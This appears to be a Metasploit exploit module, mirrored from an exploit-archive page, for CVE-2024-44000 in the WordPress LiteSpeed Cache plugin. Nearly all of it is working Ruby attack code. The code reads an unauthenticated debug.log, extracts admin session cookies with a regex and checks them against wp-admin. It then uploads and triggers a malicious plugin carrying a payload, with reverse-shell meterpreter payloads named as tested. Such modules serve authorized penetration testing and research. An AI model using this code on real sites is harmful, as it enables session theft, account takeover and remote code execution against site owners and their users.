Share
## https://sploitus.com/exploit?id=PACKETSTORM:181592
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HTTP::Wordpress  
include Msf::Exploit::FileDropper  
prepend Msf::Exploit::Remote::AutoCheck  
  
class DebugLogError < StandardError; end  
class WordPressNotOnline < StandardError; end  
class AdminCookieError < StandardError; end  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Wordpress LiteSpeed Cache plugin cookie theft',  
'Description' => %q{  
This module exploits an unauthenticated account takeover vulnerability in LiteSpeed Cache, a Wordpress plugin  
that currently has around 6 million active installations. In LiteSpeed Cache versions prior to 6.5.0.1, when  
the Debug Logging feature is enabled, the plugin will log admin cookies to the /wp-content/debug.log endpoint  
which is accessible without authentication. The Debug Logging feature in the plugin is not enabled by default.  
The admin cookies found in the debug.log can be used to upload and execute a malicious plugin containing a payload.  
},  
'Author' => [  
'Rafie Muhammad', # discovery  
'jheysel-r7' # module  
],  
'References' => [  
[ 'URL', 'https://patchstack.com/articles/critical-account-takeover-vulnerability-patched-in-litespeed-cache-plugin/'],  
[ 'CVE', '2024-44000']  
],  
'License' => MSF_LICENSE,  
'Privileged' => false,  
'Platform' => ['unix', 'linux', 'win', 'php'],  
'Arch' => [ARCH_PHP, ARCH_CMD],  
'Targets' => [  
[  
'PHP In-Memory',  
{  
'Platform' => 'php',  
'Arch' => ARCH_PHP  
# tested with php/meterpreter/reverse_tcp  
}  
],  
[  
'Unix In-Memory',  
{  
'Platform' => ['unix', 'linux'],  
'Arch' => ARCH_CMD  
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp  
}  
],  
[  
'Windows In-Memory',  
{  
'Platform' => 'win',  
'Arch' => ARCH_CMD  
}  
],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => '2024-09-04',  
'Notes' => {  
'Stability' => [ CRASH_SAFE, ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS],  
'Reliability' => [ REPEATABLE_SESSION, ]  
}  
)  
)  
end  
  
def check  
@admin_cookie = get_valid_admin_cookie  
CheckCode::Vulnerable('Found and tested valid admin cookie, we can upload and execute a payload')  
rescue WordPressNotOnline => e  
return CheckCode::Unknown("This doesn't appear to be a WordPress site: #{e.class}, #{e}")  
rescue DebugLogError => e  
return CheckCode::Safe("#{e.class}, #{e}")  
rescue AdminCookieError => e  
return CheckCode::Safe("#{e.class}, #{e}")  
end  
  
def extract_cookies(debug_log)  
admin_cookies = []  
debug_log.each_line do |log_line|  
# 09/13/24 15:52:48.009 [192.168.65.1:58695 1 UNP] Cookie: wordpress_70490311fe7c84acda8886406a6d884b=admin%7C1726415372%7C8dXTtGUqH8cjixS1ZU8k58iBmfXRK0xMHXgDZwgjPfn%7C4084023e82a4c58d574ddf33142b168ff5cb93446675ca8116fd32e1de2b8df7; wordpress_logged_in_70490311fe7c84acda8886406a6d884b=admin%7C1726415372%7C8dXTtGUqH8cjixS1ZU8k58iBmfXRK0xMHXgDZwgjPfn%7Cf6bb4d0fdca7b147f320472893374a063b095b550db3488f86e58b6c47e4ce4c  
match = log_line.match(/(wordpress(_logged_in)?_[a-f0-9]{32}=[^;]+)/)  
admin_cookies << match.captures.compact.join('; ') if match  
end  
admin_cookies  
end  
  
def verify_admin_cookie(admin_cookies)  
admin_cookies.each do |admin_cookie|  
res = send_request_cgi({  
'uri' => '/wp-admin/',  
'cookie' => admin_cookie  
})  
return admin_cookie if res&.code == 200  
end  
  
nil  
end  
  
def get_valid_admin_cookie  
raise WordPressNotOnline unless wordpress_and_online?  
  
res = send_request_cgi({  
'uri' => normalize_uri('wp-content', 'debug.log'),  
'method' => 'GET'  
})  
raise DebugLogError, 'There was no /wp-content/debug.log endpoint found on the target to pillage' unless res&.code == 200  
raise DebugLogError, 'There were no cookies found inside /wp-content/debug.log' unless res.body.include?('wordpress_logged_in')  
  
admin_cookies = extract_cookies(res.body)  
raise AdminCookieError, 'No admin cookies could be found in debug.log' if admin_cookies.blank?  
  
print_status('One or more potential admin cookies were found')  
  
admin_cookie = verify_admin_cookie(admin_cookies)  
raise AdminCookieError, 'Admin cookies were found but are invalid' unless admin_cookie  
  
admin_cookie  
end  
  
def exploit  
unless @admin_cookie  
begin  
@admin_cookie = get_valid_admin_cookie  
print_good('Found and tested valid admin cookie, we can upload and execute a payload')  
rescue WordPressNotOnline => e  
fail_with(Failure::NotFound, "#{e.class}, #{e}")  
rescue DebugLogError, AdminCookieError => e  
fail_with(Failure::UnexpectedReply, "#{e.class}, #{e}")  
end  
end  
  
print_status('Preparing payload...')  
plugin_name = Rex::Text.rand_text_alpha(10)  
payload_name = Rex::Text.rand_text_alpha(10).to_s  
payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")  
zip = generate_plugin(plugin_name, payload_name)  
  
print_status('Uploading payload...')  
  
uploaded = wordpress_upload_plugin(plugin_name, zip.pack, @admin_cookie)  
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') unless uploaded  
  
print_status("Executing the payload at #{payload_uri}...")  
register_files_for_cleanup("#{payload_name}.php", "#{plugin_name}.php")  
register_dir_for_cleanup("../#{plugin_name}")  
send_request_cgi({ 'uri' => payload_uri, 'method' => 'GET' })  
end  
end